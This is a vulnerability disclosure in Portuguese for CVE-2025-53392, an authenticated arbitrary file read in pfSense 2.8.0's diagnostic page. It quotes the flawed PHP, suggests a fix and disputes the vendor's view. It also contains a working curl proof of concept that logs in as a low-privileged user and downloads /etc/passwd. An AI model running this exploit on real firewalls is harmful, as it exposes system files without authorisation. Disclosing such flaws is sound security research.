
Leitura Arbitrária de Arquivos Autenticada no pfSense 2.8.0 via Interface Web de Diagnóstico (CVE-2025-53392)
CVE-2025-53392CWE-36 (Travessia de Caminho Absoluto)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NApenas para fins de teste e pesquisa autorizados. Não teste nem explore esta vulnerabilidade em sistemas que você não possua ou para os quais não tenha permissão explícita para testar.
O pfSense CE 2.8.0 contém uma vulnerabilidade de Divulgação de Arquivos Locais na página de diagnóstico diag_command.php, que permite que usuários autenticados baixem arquivos arbitrários do sistema de arquivos subjacente.
Essa funcionalidade não possui nenhuma sanitização de caminho, restrição de diretório ou controles de acesso além da atribuição de permissões.
A lógica vulnerável está localizada no arquivo src/usr/local/www/diag_command.php:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
Não há verificações de segurança nem medidas de sanitização aplicadas ao parâmetro dlPath controlado pelo usuário.
Qualquer caminho de arquivo que o processo PHP possa ler será enviado de volta ao usuário.
Criar o grupo low-priv e atribuir uma única permissão (WebCfg - Diagnostics: Command)

Embora eu reconheça a presença de um aviso de segurança para a permissão
WebCfg - Diagnostics: Command, avisos por si só não substituem um controle de acesso sólido.A frase “Permitir acesso à página de Comandos de Diagnóstico” é ambígua e subestima o risco, ela permite execução irrestrita de comandos em nível de root, e não apenas acesso de diagnóstico.
Os rótulos de permissões em uma interface web devem refletir com precisão o escopo e a gravidade das ações que permitem, especialmente quando expõem controle administrativo total.
Atribuir o grupo low-priv ao usuário dev

Esta prova de conceito demonstra que um usuário com apenas a permissão WebCfg - Diagnostics: Command pode exfiltrar /etc/passwd abusando do parâmetro dlPath sem sanitização.
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

Qualquer usuário do pfSense com a permissão WebCfg - Diagnostics: Command atribuída pode:
Isso viola o princípio do menor privilégio e quebra os limites lógicos de privilégio.
dlPath a um diretório base seguro (por exemplo, /tmp) usando realpath() e verificação de prefixo.. ou caminhos absolutosCVE-2025-53392 com a marcação "contestado pelo fornecedor"Embora o fornecedor afirme que o acesso a esta página equivale a root, isso confunde permissões em nível web com acesso irrestrito ao backend.
Os privilégios devem ser aplicados tecnicamente (e não presumidos), e avisos na interface não substituem um design seguro.
Contestando a afirmação do fornecedor de que essa funcionalidade é "bem documentada" - não encontrei nenhuma menção na documentação de Privilégios de Usuário do pfSense que afirme que a permissão WebCfg - Diagnostics: Command equivale a acesso em nível de root.

O fornecedor pode ter se referido à página de Comandos de Diagnóstico, que inclui um aviso geral sobre uso indevido.
Mas a documentação não vincula explicitamente essa funcionalidade à permissão WebCfg - Diagnostics: Command nem esclarece que ela concede acesso em nível de root.
O módulo de diagnóstico na interface web de um firewall deve conter proteções adequadas para impedir abusos contra o sistema operacional subjacente.
Este trabalho foi realizado fora do meu vínculo empregatício e reflete meus esforços pessoais em pesquisa de segurança cibernética.